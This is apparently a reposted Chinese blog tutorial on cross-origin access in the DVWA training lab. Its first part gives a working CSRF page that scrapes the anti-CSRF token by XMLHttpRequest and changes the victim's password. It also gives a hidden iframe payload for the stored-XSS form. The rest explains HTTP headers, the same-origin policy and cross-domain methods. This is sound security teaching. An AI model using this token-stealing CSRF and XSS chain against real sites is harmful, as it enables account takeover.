网站跨域访问的问题

一、DVWA中处理CSRF的另一种手段
1、攻击手段

如果在192.168.112.188网站中创建一个HTML页面,在XSS DOM中进行调用,也是可以解决CSRF的High级问题。

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- 此处是执行脚本,执行完成后已经完成了修改密码的功能 -->
    <script type="text/javascript">
    	var tokenUrl = 'http://192.168.112.188/dvwa/vulnerabilities/csrf/';
        // 实例化XMLHttpRequest,用于发送AJAX请求
        xmlhttp = new XMLHttpRequest();
        var count = 0;
        // 当请求的状态发生变化时,触发执行代码
        xmlhttp.onreadystatechange=function() {
        	if(xmlhttp.readyState ==4 && xmlhttp.status==200){
            	// 取得请求的响应,并从响应中通过正则提取Token
                var text = xmlhttp.responseText;
                var regex = /user_token\' value\=\'(.*?)\' \/\>/;
                var match = text.match(regex);
                // alert(match[1]);
                var token = match[1];
                // 发送修改密码的语法
                var changeUrl = 'http://192.168.112.188/dvwa/vulnerabilities/csrf/?user_token='+                    		 token+'&password_new=test888&password_conf=test888&Change=Change';
                if (count == 0) {
                count = 1;
                // 只发送一次,否则会多次发送
                xmlhttp.open("GET",changeUrl,false);
                xmlhttp.send();
                }
             }
          };
          xmlhttp.open("GET",tokenUrl, false);
          xmlhttp.send();
      </script>
      <title>CSRF</title>
</head>
<body>
<!-- 此处的代码仅仅只是为了做一个跳转,不是必须的代码 -->    <script>location.href="http://192.168.112.188/dvwa/vulnerabilities/xss_s/";</script>
</body>
</html>

在High级XSS(Stored)的Name中提交一个iframe标签:

<iframe src="http://192.168.112.188/security/csrf.html" style="display:none">

当用户点击到XSS(Stored)留言页面时,将自动修改其密码。

另外一种更加符合CSRF的“One Click“特性的操作方式,直接将超链接http://192.168.112.188/security/csrf.html发送给当前登录用户,

2、上述攻击手段存在的问题

上述攻击方式存在一个严重的问题,就是我们需要将 csrf.html 页面保存于被攻击服务器 192.168.112.188 上,很显然,这是不现实的,如果已经能达成这一目的了,说明我们已经取得了服务器超级管理员的权限,此时当然也不需要再进行什么 CSRF 攻击了。

所以我们应该,将上述 csrf.html 页面保存于攻击服务器上,进而实现攻击者可控,让用户去访问攻击服务器上的页面不就可以完成攻击

三、什么是跨域访问
1、HTTP请求头

(1)Host:表示当前请求要被发送的目的地host,仅包括域名和端口号。在任何类型请求中,request都会包含此header信息。

(2)Referer:Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。它由协议+域名+查询参数组成(注意不包含锚点信息),所有类型的请求都包含此header。

(3)Origin:表示这个请求原始是在哪里发起的,包括当前请求的协议+域名,特别注意:这个参数一般只存在于CORS跨域请求(两个端口号不同或域名不同或使用的协议不同的请求称为跨域请求)中,非跨域请求没有这个header。

2、同源策略

同源策略(Same-Origin Policy,简称SOP)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。不同源的客户端脚本(JavaScript、ActionScript)在没明确授权的情况下,不能读写对方的资源,比如浏览器在A网页设置的Cookie,B网页不能打开,除非这两个网页同源。它能帮助阻隔恶意文档,减少可能被攻击的媒介,比如CSRF攻击便受到同源策略的限制。

同源是指两个或多个网页同时满足三个相同条件,域名相同,协议相同,端口相同。

举例来说,一个网站:http://www.example.com/dir/page.html这个网址,协议是http://,域名是www.example.com,端口是80(http://www.example.com/dir2/other.html      同源
http://v2.www.example.com/dir/other.html    不同源(域名不同)
http://www.example.com:81/dir/other.html    不同源(端口不同)
https://www.example.com/dir2/other.html     不同源(协议不同)默认端口可以省略),下面哪个是同源网页?

在上述的实验中,攻击服务器上192.168.112.183上的csrf.html页面无法向正常服务器192.168.112.188上发送修改用户密码的请求,便是受到同源策略的限制所导致的。

在浏览器的下列标签,不受同源策略的影响:

<script src=“……”>    //加载js到本地执行
<img src=“……”>       //加载图片
<link href=“……”>     //css文件
<iframe src=“……”>    //任意资源

3、跨域访问

在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问问题。在请求的过程中回去数据一般都是post/get请求,所以,跨域问题出现,受浏览器同源策略的限制,要在浏览器中实现跨域访问,需要使用专门的解决方案。

4、如何跨域

(1)JSONP方案

(2)CORS方案

(3)WebSocket通信

猜你喜欢

转载自blog.csdn.net/m0_73896875/article/details/131674798